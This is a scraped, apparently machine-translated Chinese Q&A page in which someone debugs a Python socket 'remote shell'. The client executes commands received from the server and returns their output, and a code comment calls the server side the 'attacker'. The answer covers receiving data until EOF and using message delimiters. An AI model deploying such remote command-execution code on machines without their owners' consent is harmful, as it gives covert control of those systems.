Python 试图创建远程shell时,程序未按需要打印命令输出
我试图用python创建一个远程shell,让服务器向客户端发送命令,并在远程机器上执行。问题是,尽管客户端从我的理解中发回了输出,但服务器没有正确地接收和打印输出。它一直在工作,直到我更改代码以接收所有数据,而不仅仅是一个数据块。如何接收所有数据并正确打印 服务器代码:Python 试图创建远程shell时,程序未按需要打印命令输出,python,windows,shell,sockets,remote-access,Python,Windows,Shell,Sockets,Remote Access,我试图用python创建一个远程shell,让服务器向客户端发送命令,并在远程机器上执行。问题是,尽管客户端从我的理解中发回了输出,但服务器没有正确地接收和打印输出。它一直在工作,直到我更改代码以接收所有数据,而不仅仅是一个数据块。如何接收所有数据并正确打印 服务器代码: while True: try: command = input(client_ip+ ">") if(len(command.split()) != 0):
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(command.encode('utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
total_data = []
while True:
data = client_socket.recv(8192)
if not data: break
total_data.append(data)
print(total_data + '\n')
# try:
# output = ''
# data = ''
# while True:
# data += client_socket.recv(1024).decode('utf-8')
# if not data:
# break
# else:
# output += data
# except Exception:
# if output:
# pass
# else:
# print("failed")
# print(data + "\n")
客户端代码:
while True:
command = connexion_socket.recv(1024).decode('utf-8')
split_command = command.split()
print("Received command : " +command)
# if its quit, then break out and close socket
if command == "quit":
break
if(command.split()[0] == "cd"):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd().encode('utf-8')))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
except(WindowsError):
connexion_socket.send(str.encode("No such directory : " +os.getcwd()))
else:
# do shell command
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
print(stdout_value + "\n")
# send output to attacker
if(stdout_value != ""):
connexion_socket.send(stdout_value.encode('utf-8'))
else:
connexion_socket.send((command+ " does not return anything").encode('utf-8'))
如果需要更多信息,请询问:您似乎正在使用流套接字。在这种情况下,问题是如果client.py未关闭连接,则无法测试读取的EOF零长度数据是否中断接收循环。您的server.py读取输入,但随后返回以从套接字接收更多数据,并只等待更多的数据不来 在client.py中,您可以通过一个新连接启动循环,然后通过它结束循环注意:由accept返回的套接字将被关闭,而不是其accept方法被调用的侦听套接字。在server.py中,您可以通过设置和关闭连接resp来启动和结束循环。给你的对手。在这种情况下,如果没有数据:break可以很好地使用 另一个选择是。您可以在协议/应用程序级别处理此问题。您可以通过发送要跟踪和接收的数据长度来开始传输,直到获得已知的数据量,或者选择一个消息分隔符,例如,b'\0',您也可以在每个完整的输出块之后发送该分隔符。然后可以逐个接收数据,直到到达下一个分隔符。在这种情况下,您可以保持现有连接处于活动状态,并将其重新用于来回通信。即,在接收循环中检查:if data==b'\0':中断,并在client.py循环中的每条消息之后发送conn.sendb'\0'
不相关的旁注:WindowsError应该是OSError的一个子类,您可能真的很想捕获它以使代码可移植。谢谢您的回答,我回家后会再试一次。